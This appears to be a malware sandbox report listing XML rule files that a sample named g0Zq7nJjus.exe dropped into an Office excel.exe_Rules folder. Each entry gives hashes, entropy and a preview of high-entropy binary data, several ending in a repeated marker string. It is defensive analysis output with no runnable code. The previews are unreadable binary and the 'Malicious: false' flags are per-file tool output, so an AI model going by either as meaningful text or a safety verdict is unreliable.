Preview:	<?xmlUw.....6.t.R.mZ.W}..;.\|O.0...dw.C.......nu..Mn/l.B.Ij....A.T.mj.V.....@....B...}!..y.G;U..eB....G.. .{..b3...$.......$5..iJG...d.S..t.0;.+"R\........lo7q..\...!\8.........../.....',G.:...f.3J.4\|zi9..Y.Q..P.+....]...Y.C.k..Y.!.Y....?HZx@+.5...Z..>.Y..1.....0N0..H..%.....p.!I.QL.}..2.2..k.b(v..,s:'...A.o...qS..w.g............W>.P..q9..N#.w.].;...nerp.e..=[..m4.ff5;...~#..,K.W(.N.9FE.;K....?.wb.^d.x4m..s7\.a......v.....i..X.:.I......i....,F.\-..$.v.(.l..7...0...h.>...%)..{B.h._T..eN.=.X..v.0;..4O.).yv`...`.q=..x..2.{..c...9$..G-....=.M.S@$......:9..Z.%6:..G?....67~.~\.nBN......M..S......?}........._rX^2]...:.N...u.P.S}0E'QE10&..GR..._Xj.+....34F.&..t^..7s.h..l.v-...U.[(_g...i.x.J......$,..@...n.l.q..`..L...{"D#.q.1+Q.".n..Z.+zeq.).\|N..P.a....[.{<P...Z...N.W.......`Y....}..M\|.G'aw.....(...$..t..t.f].....t...<B...1...d....`.q.......s.3..b..E.E;.l.R.G:.w.a".......@$...........C...zXc=vT.k..j..d.B.pZ..-../l.o.j..;&.C'...0""X~....6...V.w...h....r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.908640954826998
Encrypted:	false
SSDEEP:	48:oR3SSe7zDfHBnFt+P+fBDrfT/6/lu77BU34odgoFJfYDmt+VZaelD:5DvtFQ0Drr/6/lsS34SUaed
MD5:	83AB843CBAA98F93C16FF036004E6551
SHA1:	FA5269B29B723C1EC889630D0E451F3A1B9B505A
SHA-256:	0719A6B35E61F2D79DC3D99E7C66E3815E9AE5C169A7BD87AF6BA46176D4B8AB
SHA-512:	132E8F415C03A9693212484EA02FBC7A944F634ADFC0AA9B3C968D1AB6D651EBA88DE9C31DCFE99D51DE7BF21011109B1A6DB99F47477B8A5079EB8B95F94E98
Malicious:	false
Preview:	<?xml.8.....C.b4..B....wXIP...N.0.F.A..H.`N..;..1.Xd..M.._...Hd..R.A..Ma.......Pi.!B^..iS....;....\|...w.l.w.?.._.c0. ."1..^...O.=..}.B.`Z.P2.Rv?.m..P.u.*..w...g..Zj..-0~.(....9.k..u.b.....@G..t?.9]..[.+..G.....s.;I.... .g.Ze.......G..$....{..<.cn....;.Y.j.".jb9o2..`.q~....&g)...K.R..4e..ML....+..]\|g.M...j..h...@.i`..a.F.>I4^j......xr~.F#.H..{i~.l..y...L.Q?..q.5cwD.....6-.....-BX....)sw,.(.b.....G...&U.T......%-....+.......\gaVZL,x....X.jq,.1....]S..;..U.......[.xr.h.+...W..).8.c...?^...J0.hr....W03..yC..}h.8.../.S.!`1B..[.0!..-\|......9]b..{..#...._vAoa..o....J...n..9.'.g....}[..-3.:..s...=...S/.j.....9su...g............L.j......M.2.2.T.p..Qj.<9.PGYp6..nv..Ze}<.Z.$}.@.C%O..T;#.F....B......m...L...0.=N..:w..f.62...o=.....G....vl.;8..s.E.a..d.<....&..lx..E$....S..D3...3.-)a<.%6/....\.(.\|9.#.%~B.W..8..).....q.....fV4L.....R".d_uq..Z..0Z~..sL..t..M.~....s..sF.....3-j./9.@X5...c...+.Oz.rY.\.Q`nE=.e..#......X.........t~3m7.w.$....^.s..4..I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.812026437264549
Encrypted:	false
SSDEEP:	24:D8iPfDbFLWZtGjSmkMy8/5ehRBYBPbzzYimlvrVXFyBE7+D5ObGM4lIjAHi+2bD:DhFyZtGjSmkK4RYBPfEizBu+1ObGM4i7
MD5:	A1DDA9FB52DB93701B92F5C95A7976A5
SHA1:	47B71D4A7175A3023AEA1FD805E905E2A86932D2
SHA-256:	1238B42B1D623D13C01B50C823C7790A62FDBF9764C135C2D5FD433CD9D118C3
SHA-512:	6E6842FB241C2E8FACE6BFE8EAC0311CB282B8E06BAF0517A132EE4422661856316D490B9ACF81C3C061AE7710B512210C353AD0A096988F542F51D455B42C9C
Malicious:	false
Preview:	<?xml.x...Lq..../K...nKV..t.0@FD.....-.}~.....@...Q.....F...2.p..m.3=...tQ.<.I..hmw..=......@!:Q......./.8.V.w.U..6k..m#......\|!.k.W.+.Q.z.r....@..U.!..g3.hc...\|lSu.`S.......2)f.D..A...VzQ..Q..}./.`....H..z..xY....z..a..R...t.de....e.....(..:n<+.H....b.B.U.i.F..TH.h.d.......(...Z.7.ot...FQEuN...i...+.%$..!.;)j\|F..[..w.5.S...t.\|t....{..D:...g.!.U>7.G........q.a...V O+....9..VmkZ.....a..d.u...l~J.vW&.Q...z..:w..~.........[.....cZ.=y,..,..o..z...).W...0"u.io}.....:...!j..9HyMgH.Q...47.4.....R....iR..\@.>.1.z..O.......G.W......!.....B.367&...,..b...>.Vwo.j~^..pC..,<.}]...;/........F.v.r..\.[$..TBW...J!.N...i...Y..h.4....i..[....(~...I.@.1.f.h.~...c`..0.h.%..a...:.8>......x.......@....;....`V[.?.Lhl-..F....M...i}G.n..YE.-...W....F..._.....x.q.(.j.(.m...[..G.%6Id+....Sx.Y..FN..3.........p.w...Nk..vvKe...[.1kFuZ2.=g..).a....^...=f..Jq$!.3.bG.9q......Xc..j#qQ.NI12.~......D.....C.N..P.....wx._.c.P.t_tiW..~b..(.g..I...G....7)S.1S..;..@...\..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.768738694919131
Encrypted:	false
SSDEEP:	24:9w4kyguvKDKcsu4Ga6u0+qiFBVbzXR12bD:9wnfsu+6u0+qUbXROD
MD5:	D551BCB6299CE06CB769135F538E6705
SHA1:	638CBE9DC8A65FE78541426B9DF039AED3DAEBD6
SHA-256:	1235FC370757E4D6AD5C075177EE1D29977CC432D6D0E4900F801A2780EE7385
SHA-512:	7F01BCE54DD8AA880202A31747E2ED1C3B39EF625A3766381F2924F05D223C40F1581D509C7CB6B9DB96305307E04A622186E22D07B3F6E26C183039F507B654
Malicious:	false
Preview:	<?xml.;z......g.......1.1&@C...X.z.a..`...bkS......5t...c6..88....uT...3`.x.#..\|...E..l'...M..$..t...m....o.z.....o.Un`..UM.`@..x.J.2.{..:..k[L..<ld.V.n3.mS.!.G.D..L.G..8&..i)..V..?.>k...C(......S..t..V.B/.M.$."..0.u.......5...%gp.9.U....9.`..u.f.Ge.$.j.j..).q.x..Z......X.!W..uk..B\|s....A..o.O[.]..Kh..N.G...b..;..?.S...&.I..=...y..%G.S}_....7.....2Sq...\?Fd.G3....(.....6..Zur.,.\|....:.V@.]+....y]B......d0......q.#;...?.\.....g=.x.&R0..{...K<......p.lM.b.....<....O.C...c....(b <....(..-....~..Y....BCU........H..R..+.[..;..9b\|.......S\.@.[.cr[..z..>,..t.:...o......f....J...d1..^$0.q....N....S.....$.G..()....&...p..!.>Kh.c....S.{...N."....S.-[^..Op......M.s\|a3UKL-.?.uM.Bu.p.v...ml!R@O..h...l...d..........Mt>.m....:1.F...........u.X..]..D%-.Yv.......q....u."=...RQ..bOmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.8958235181359795
Encrypted:	false
SSDEEP:	48:quZjkR+A4d1Bq9NjNPYykkWcBo9V5IyP5pPFDvRM5WPhQtxfhfD:Fjw+AY1c99pHkgB2ttFDp9PyR
MD5:	436896392D1C1D325D27490A35BFA191
SHA1:	D9B0CE925F0B83084CC1611DBE29BDD602AEAC14
SHA-256:	936C40B1BB55C5019F048F4F997F4886129A0F38EF27EC92F44FE75A783E7449
SHA-512:	0D4D551C811B5AC8A4B3C4083F8E0BB5AB356EA8FACBD4B301A0DA6DA6A9C0912B9F04674EB6BB8094956E874C5C5C58B218B4FDF81F9B3C2B87CBA98E7EAABB
Malicious:	false
Preview:	<?xml.?@..0..PEL..:....6..9....&..5..;..8;.+..Q..G..U.H=dZV..F..V./zm..D`.._........!Rs.g\J.~...b.li..t..p...`..$a.....c....5.t.E......y.p...[@.....? ..h....1(.j..}.[...Y........v.........I....AL..Y...C.c.F`0uK2.YU..v.nP..9.o.y...#+....9.MEZ.K.0m./.=hj.,_... q.J&.00..z..zYkJD.b.WPL......L..O'...c..F.1..........Y.T2i.Q.Z..>C.g..........%b.....].XE..f.v.n..*..ba.....=u\|:.E....^..... ..u.s...Al.T.6..t.e..7...}qa....C..]u.....c........%.+h..D.).gz.g.J....!&..!....7yYb...Y...."6.../~.........o..P.V.JQR...fM....#.Im._9#...#c.....h.d.l.F...V....q..[...0...I.....,...B.Aqk.J.\|$..6.....T....7.Y.......@.x.lG..~%[.p.<...A..I.F.N.........[l?......7..c...f.}../.q..Q.v.....8\|.7s....iF.'..e..`..T..#....H.H...z.X..mK..n...#`.{CJ.. d...'..1_WZo.E_..pv...V.~......G..%...~.y.t.V.hT ...L.O......a~..0..A.5d.h.Pi.{R.. ..._w.._.wV.t_g.x.)u...7R..h.nb;.y..zv..o.. ..Bx.S!.6..l.g...N..@v..xj..2...T..fr.....;G'..D.p.I.....!f.7........./.....!...s.....bW#....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.883851726307943
Encrypted:	false
SSDEEP:	24:aEl1Pd2IcRDtoFv99n7SLwVAtVmBqPZ3clrp41CPH1bq2bD:aEl1PsroFvn7jAtVm0Pdu944H5hD
MD5:	1A1B7E74ADDDBDDBF6B2B6A3BCC56453
SHA1:	E2C6ECD56CD59238C1A7CE28812DBEE08A6858D2
SHA-256:	89DDD33443A94A03E3E91A6A891A5871A588CC1537B03F5C4C986B85B76E333E
SHA-512:	F73D8E942D783268237E4345DEF700F5EB2FC9CC04276323B6ACCA75871260241F2CAE3DA483F2E0096DEDE367688531ACCD80E378FDF67E750D7CEB27F36E99
Malicious:	false
Preview:	<?xml..X...o.Ya.]:....... .R..`.......8ys.L..v.b..^...L)....f..B......3\.~..`q.+.Q.).x.e......9:k[.V.d..yL&.xzj.D...(x....94.".3..=..yf..]g7......;.g:6....&.u.T..........^>^..W......k.N.x.-.V..H.x.7<./....g.R...qivv..NB.......Y..g..W..(..(t..-.s.._..T.....\|7..../l=......]..n.E.YC..j.32....u..M.c.........G... .a..[Q...'....K!..0_6....!.k...(..">zRq.ju.]....y.8J..n..\|..t4..Q.>...kel..&....c...m..d.(....^.......u.g...p..O...\N..j......}...Z\|c...8.....i.s......x'..L.!Jb).gie$P.>}d...l..c.....h.h.D......x.X.1&..E.mkyZvzP.&'..........v.I.....$.4B.:.A...s.h.h.E......cjl=.+..yw........$..zQ...==(y..\|..u....?....Z.v.nl....?..E...,...IGb(..3$......J..6...G.t'.X..k......:/...$....o.p.l.y......w.>L{Gw..^..z.;.2......cR..n#.mY..$j.....y...;~....s..q...,..<...v..Y^......%.wCl....S4v=0....7.2im..&....p^.x...+.....x.^\|n..a...;_c...k .&g.......:k.[.%._.....A7.=VsB.....V.&DO...@.Q...)..WM.q.........................6AH...1...S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.84559183104178
Encrypted:	false
SSDEEP:	24:GA/qCEt8j90EnTpEPBb3FzuaHBDe2N0ik+4bGBQDbDxOWjXPDsgvW2V2bD:RvE8x0spEPvzRHBDBJ4bDDb9Jz7ss8D
MD5:	A6FF800B1E2AE5061936F4A6F292DD3B
SHA1:	CE0E52DADF6D099F8C2758F6DC4EA7DEE0111555
SHA-256:	3734FCE02B5F73BCD45DE8CB6AE858BF3F6D56A75ED6DB79703A0FD389372281
SHA-512:	32536267B5F13E161C3955AE3B27EAC04AEC0B758ADB62DB2AE0D776047326A36D3E27CD4CEE00B1FE0DC5825A759818146AE7F6458C44E589E55D60A2FFF8F8
Malicious:	false
Preview:	<?xml.......N......;...4...T.M2........>c6.~.......3.$'...Hn..>uB...G'$4U/.>.....I.^.....s..2o....OP..9kYo.(.t-l:.q..........T3@M..q.y....Lf...>.....'...>.....2.Q>....^..FU..V%....z.H....w..xn.."...=#....3.W2.C..[.T.....x..)r.x..IK...."._.k...?.a....m.v1.j%......d8.....g.)...@(;.w.e..~.....'G...,.......e....tG+......h..........L.#c` .....3~].ap&...z....'.V.H...J.>.N.i...p...}u:o....lA..V...!...:..l.i...d..;.6].C(..T.N.L..^Q......_....;.~......:@\|.n.}T...,...u0T4U:....}l5(....N..X..PS..._S.Q...2..nX9.z..\|vP.1..j..._'...T..Rm:bj.K......q.<Fu.....oF...pE.G.P65.0/K....k.K...}.U...r...].e.q..o,[.........}....B.{..G. ..zTm(".....#:.....P...#...{.q<W...g....X...[5...Y..r....f-7B.WUA')#..:...X......R.t.6.M[;.2.s..s.........a.$.?.K)..a..%..\|..7Yu..n.h...H.x}.z.....w...n.RE..).5..y;...~I....[.'...]9..,.).......~.8nT.a.................Dt.v\.cb.n..t.x..@U.c.-*w..m...K%>.S\|VVCc.;s.......\.&1Q...I.^'.n......?...v.$.....;W.'...^..Zio.....&1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.715121145912545
Encrypted:	false
SSDEEP:	12:jCtGmpTZOl82h4YezqwHAozLbib38q1QUIg40y+QNeP1AB+vIof7bVvtxv4ELTJB:m/pN2ihFAozLbi4qKW4rNwy+vtfvrV4g
MD5:	2CD1220C8C74C6D64CDC58DDC57D05FB
SHA1:	8DA37E81E35685D388714A781C3D24230F35C3BD
SHA-256:	17E1D6E6B73864CCE6FF81DA76418E866CF6A642B665CD1E5B4E206CDB27AEC8
SHA-512:	2D2FBC03A81CE127579A23D3C1007DBAE85F11EEC5C9CEE4D7A04B5BD39614B2FF4194C28C77A918AA30AFAA4EB31FBB5BFF5B2FA83AE22993BE66A3674567D7
Malicious:	false
Preview:	<?xml.z!.......u...y-..?~"...a+.{oW"TC~..l..U..O....xb.....r...O..&.._#.`I.(..I$..Q...b.,..dxE..........A.X.hM.J...}pbP.\.0...e....pF...F...._.._.z....!.8....b.'.O...M.G.gf..N.......... KJ1t6-A+..../c.S.X...6.\|..).e5..,.m.6..3.S....]........VB.....=.i.K...B.d..o8..=.l...e.j.~MM(......-f.<..S.`..}.q.gA.b.Z....;}.....i.v..V.&.....Aqf.......\WT.Z..T...pP....J....2\|.;...1....;.....>...z.....4.&.h![\..yZ......7.z.@%.g.hR..Kq...I.1.<..aT[..X]I%.&....l2}fvHd..2..B.J<..C@.`}..d.M}D..t-K...~o..... ..n...D.W..(........p.l.f...&^..Ma......D=.3.M..f.Y..L^:T...5'.....@....Jo..'.....c.....MO..mI..T:..}...5...].oL...\|...\|...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.79281172465873
Encrypted:	false
SSDEEP:	24:XgB4fZqUQ/qEybfg5iqx5TgF4rIDljkBgdiqzfJN2bD:wiRlQSjDe5kurB2xfJmD
MD5:	939B448F5B99F61A0A64CA48B68A825C
SHA1:	37AF5113B077FE622330670269ABE3616002A5A3
SHA-256:	619065985E7E481D4F14CB02BF9A6CD4C710A88DECA6DE629ED1E49A2C293C90
SHA-512:	C70B827561FD7155F0C7C71E6C50525D322C29CE70491CAA0A9C91F415288ED0E31E06037621146C5917047A48938C73491DFEA6A7817B4E1648574E93341D15
Malicious:	false
Preview:	<?xml...(....4..?.......Q."...l5...dq...%.m..,.....dE....4mU.&.73.\.......grIc.u...Zk^....jr..(.....]....'..r@..V7..Cu.q\W..V.].x.2.1..f.bO,..$w...k.D.WlFr.s.<.%].D..\!...^..$....K...O`w..f1Q.2.....x..B....gXCl.\.u....b....d...Y............m>....~.F...a7=EP..^.."7...j.&'..2..s.:L...k46{...2..P..~....N....{..Yq...P..&.r...Ca...hb..;.z.#.#.+.j/M.....b.,;...0...........s:>......\.7..iK@.......[.i.....T.S.....T%..V..M.....&}.........s...].M&......*%.J..X.....2k@.......i~....q..q...A%1V.......!.c....a..6#:.P.f:F..C.!..d>.%.Z....{.Yz1.f..+..;..%.n.....]....;9M.\|T.~6.)D.%..6D. 3z....q......Qt.".@..X ..P.M;]...L.cp?..~>..L.B..5+....V....!..>K".!........3...}...\|..7..&a....%7jO..}.VR.z~..............(..H)p.......X..:.sE Qg5}.'O.@.....9......M[}.......~.qL.{..P...A.....-`qC.$8^..9.[G...-=&....;W..4#..F3....=3"r...k..'<l..n?1.......&TF}W....{)^t...z..Qj.K.s-...m..U.(X g}.n....zS/.IX..r...e....'...o[....k.b...+...3..!.s.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.737997786491959
Encrypted:	false
SSDEEP:	24:D4fL0A4h9cPdOoi9ULdVmLXruJHKwn5i8Tdoc02bD:D4fVYoi9ULzCsqwn7xHD
MD5:	D750596EA08DD76DAA535F9725FFCB39
SHA1:	E5430ACD9BA49ACBDBDD57251A757068AE007A0B
SHA-256:	686F73D9F4B76F55B05AC1B1C01EF82D64A59FCA454B5C5006924F9D6B51BCEC
SHA-512:	BBC68539D7D43DCC3D25332C9FCAD2196D0F2CBDB35B267587166B6E6C92EDB2756A4705351982F6FDD66270F26B1DCC8FDC15FE82C4FB51E3BEC5B8C58D5886
Malicious:	false
Preview:	<?xml...:.2q....NRx.0.3..0.'..S{I..Y91.2pt....A..(..A`..dY.JR.N...CE>........i..}..AAgQ.....vE..n&[.s.9.....j.)\|p..F...........J].......}M~Y.?....e. =e.q\|......p..}U.t...!.=.O.. %.e...c.-..Y....@....Q..~.N1Rc"../=......z........L......E..F.>.Y}..G.W._r.....D...V...U.....l`..UH{...[.h.71.H..+..r.......i...G;...\......N...<.T.....%P+s..z.b..1Xv0...L&.b.....Y..R.N....dHU{....Ye.b.Sv..5..{.]~..^.!.........do}..B.!1.~..Y.&H..-..;t....?....i.\|o........n?.X.bD...E..E,....t...A...;......Q./O..........,_EQ!D.......uHd.=E-.FE...EV...T...s...L~....S.d...<&.Q8.%;.m...(......j..y=\m..:~8.....@........U.)..tJ.\|..7......O.fT..m......pG...r............].....<fZ..6[.X..T.1.lD..$6P.*#...u...69.)..(=....ZZ.N.o.M....~D...a..,..O_..x................mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.874131650499255
Encrypted:	false
SSDEEP:	24:UlXQR3gEaCYkPnP7afqZgCLmJJ9vIBBvgLwGSEP9eBmCiaiumV+2bD:yQBgmfPe6CvABvsfSEVi0aifTD
MD5:	7C9AFC303085608319BFA13BE0961365
SHA1:	3DEF81FCF5B4306E002523C68727B683D01CC58E
SHA-256:	34FCC6D0C99A6EB65283D9342C5E0195439B80C7BAE8EA434D4929E5BEF68EFA
SHA-512:	A98D25CE68897D5664000A0256FE14CE507E5181A7130546FA60B6CB2085BC2CDE89A112DAFE1EF73308151154BF3A07AF6CA03028379316A0E5CB4B11115883
Malicious:	false
Preview:	<?xmlDsE>.5C.8SV...R}.j...@8~.(.$`h...a.....[....S.S.._.M+#>.._S..k..........wU].x....$..[...QA.A...a.....Y...e{.g.......s@GD......n...6...............N/r....]...$$........^...b..C....$..qK.T8.=O\.A....Nb..J..f2...1.....G......y....gd_.O.oj...........F.c..~..K.(......W..C.(...X.I.BY=.Vy..Yj.....C.(L..L...K..?...J-....<^i....h..o... -2.<..MR.F......Ni;j..".w.....r.\o..f.An.]Q.SR)RH..9}m./_;GB.xB.u...@..l.........".ef^;@E}..C....g.+...&^.%.....SP.-.q.G.1..U..Z..a..]0.2".....X.i.'D..A..Av..P..c...o.a..F..wN.AN..+.qw8lA.....1.l.'....$1Q ..jl.'.sJu...._/..!.&.[.W.c....!v..n..-.l.,[..e.....T....KE.6.)AV.&~.4JR'o.....q.~K......JdE..Y....,`....(,JB..s....p...%.Q......R.(..V...u.... .e....,.)..lj.T.g..c...w...U.{..[QJy.....X...}..f...-U.....2l...S.q..?~T....5.v....i......X.xC...<..L.P.lJJl.......}4.9.X.v:...t..d....l. .!?....p......Bk8_..S......6>..j.4.."...o.W.j......q..+O.%....ZyA..0...q... c.&.S...gf.._..H....3k....O.....Q;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.902456518645062
Encrypted:	false
SSDEEP:	48:I6uZWgEvSFiT74b6IcasvxeRUx8dx5xSRWWvD:kZHEvkiT+25eyyddSoW7
MD5:	23925B1319504A80571EA2D146B5025C
SHA1:	AB3C5C13DCFC42A2D3B57EC6959B8ABDC3185E10
SHA-256:	8DF603E9A11DFD6EA2EBF1DA1CEED898C0F823AB1D8FB2605ECE3D28BA47E120
SHA-512:	AF58B9F2A0B06A6F8CF64C36698AFE4A2A38B92996461AD638BAEEC9832165EB57CC051036688F23C0B007A3A963B0AD78CB1BAD5DA658B47C1F8FC014AA1058
Malicious:	false
Preview:	<?xml\|..).5.H..cy...Go..C.\...V..[...E.)....(d...\.<?.\.9...a...i..\[sw...Zo.p..C.y...s..jK..............9...=$.W.......".}.......q'.6...O../..$i...$....u.....P.S.RO...T"..D.E.r..=D(3..E..1.`,.0.+.X^R...,..Q....T.....Y....NO#..N..r0.......=..."e..Pr-w...[=..0..l.;~.OX..\|.".^...^........"....uR5....OE.zd...u".:.z...'..r....ns...F.fC.N.c............t.!0..h.s%.u._. ...5.a..P. .......u.?.U.M%...E[.S.U.i..?.L.o!..._.F..G2.....S...@...2..P..x.k..I.....B.j.h..o.Jri!.r].,...ke).".....8KWw.j.b(...fZu.....,.a..@......-.F..'..@1....N.z0.q..........h.Bc4,.......~E6j.{.n-.i.~.q.....6....)./`.JmC. J..(1..5.!y..2\|!.:6..X...E?....m.(gn...1r....?.).....PU....Im.....b....s..........j9....F....hsOM...0....ixw........zu..a..E......t.:..cV6/....\...#,c.....\|b.S*Y....`..\].z.^0.=k]P.z...R.6B[XV.=.:..........b.WN..i..3.JDg).vg........G..#A.{?k".&.e..[B.q.......Uw)0........U.....)..)..4>..l.J..D.~....qt!.r.l...P....Q.M2LE...+...B...m+.....#...N...=S...~.9..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.89783935613908
Encrypted:	false
SSDEEP:	48:DYX3lIlsC1T34gXi+4+hFbjuVtDj552JD:DYX1IlDb5hFfuXv2h
MD5:	524E31333F1EE9189778875B859FA532
SHA1:	A032A705CDD4223FCE0D1B4E1E96C0B5F99F57F2
SHA-256:	734C70C877868D1D7DA304D596B4ABCB1C689031E2D7305E802FCF46D301C8B0
SHA-512:	F14A45247E6493A45025C1FE52660AB5CB321B8287995E3924327CD0AE247BDF6A814614DA72C49B6B494F44F222E29D61C7A942945A9ABB73AD1FCFCA90CC87
Malicious:	false
Preview:	<?xml.:'..9...<...^..i[.#.N...K......T=\|...P..}.......~..........P...e.t..v@.c.5U........_RY........@.#....P.."...D8C..}...:.j;.U...@.^.Mf.`=.!....nFO..).h.O.0.....)}..p.-..]n.....V....t.m90.?U..\I4."..L.w.._T.Qt.)@...1..d:\|.?..$...K...+..TT.T..[..[....X.=.x...z.H.u...M...`.....d......o...7...a...>k..DOo.t.N...2..g.y.D..#D.bO......9e.d...w.......6..........P.J.F.x ..........9C+..L...sP\@s[...8/.S...x6.......~...N.e.....O....F...b8....U.-..~a.....h.W..c5..8......`g...U......c./W.n3X.lgA..s..P.p.Be.y^.R.....>H....V......WMq.....l..!-.?O.......eG.c....D...'LH`m...R.=..U....:0.../.....&._U....~.p.....:.....E..._..f?.....r......`)\.1....k'2o.r.x....]E..........v._g...;.Vd...8Fn.M.V...ay..Z.=.......g..(2/..=. ^H...M.........~.B?.r..n../4."t.weac.:.e.W...&./.D&.Xs..+f..<q......SP.....c....t..dF2...~Ni..)..VL$....d.s.N....>......~p.......:q..Dq./{t....=...Gj_.TWV_..S.B4.....C...7.4..C8L..QB9..Y!A.#.I..N\|..\P...(o..\;..Q .....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.745053776830046
Encrypted:	false
SSDEEP:	24:hZIGQP3JtLTpSUU/elpaK9KHW9sSpCbq0UkIQ2bD:hsJtfpTU/oKH8pCbqHkaD
MD5:	01C870963D3E0790D3FABE60CF07A0EE
SHA1:	B237C91FFB287D0C36A21752586776AD2426A61C
SHA-256:	170492AAF4A7E47BE7DEA7B4E0919644250D0D8F532996392D3932E34DC40FEB
SHA-512:	7BF29E58DFE37D9722DD703383CF091F419BDE81E023669B540A443AAEDC7B5FB6ABD3798DD9465B14B384AC0D114F6E22477ED9B10DDC4CE463CF26652E7501
Malicious:	false
Preview:	<?xml1.z....3.r......\.8.+..f.W..h?..+B$....`\.a.<.j....@.S=$..'.....X.#....y.yY[...:..m.X.......%.FU..m-7..]_.......V.X\.o.b.I.:..X.....n..9=.p5.vwb.$.G.<./NMdU.......!!}Lj..#..W...4"...@.SP..kb....w.q...C.6....N.[pm..T..........A..y.ji.....LD.ZZ....%[..N..J.~.bwx.&..\^f..s..........9.Q .q.&n;.8.yV.M........t.3..f......l..x...Z5j."...9.$J..$..&...[5.....h.q.t&uY....7{...<.j..(.u~-0...KW...\o.^..^.......6F...q.m...y..\|..Q:.+=........C...>..oz3a...7....^1.?<...y5a. ......S.:......w(.jj.. .Z....l.(.@..".W...=I.QFJ+2g..!...+U.j.$cBX..M......t8.......B..<..s.....\3.R.....'"...I0....bm..aV.X#7;,.v.)....9....(.U.[../Q..._.w...6.oT3.Da ..B.qAKk>.........B.}.r....F.+...$.....jeUe.[.?]B5`..yQj.>..=..a.;.+._ 7v....>FF...'......m<...U....m2..D....r.}I$........>.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.6663643007130435
Encrypted:	false
SSDEEP:	12:do1vccj4bhR/VNUjh8pxiDTCdEOpJDxrX47omBpnSUdNcii9a:RcMtRtykxu2dEMDS7omBpS2bD
MD5:	513966C75FCD90204E2BCBEC1E6BBE34
SHA1:	381F9D98576019214FE81E2E2F40A602319ED9E0
SHA-256:	09A427F5E3F184CA9066A26D6AE2702E4525DD3F6EBE8ED6D4923BAA98A8E1B5
SHA-512:	24D8E976C8C34F7B2FB8CCC2DA74694FF2B498EAE3C04EB0C922D9DD1D4806279091195AEA993087560FA9941B613D98245A5A58A7BFBAFA28B8F913D03C7B58
Malicious:	false
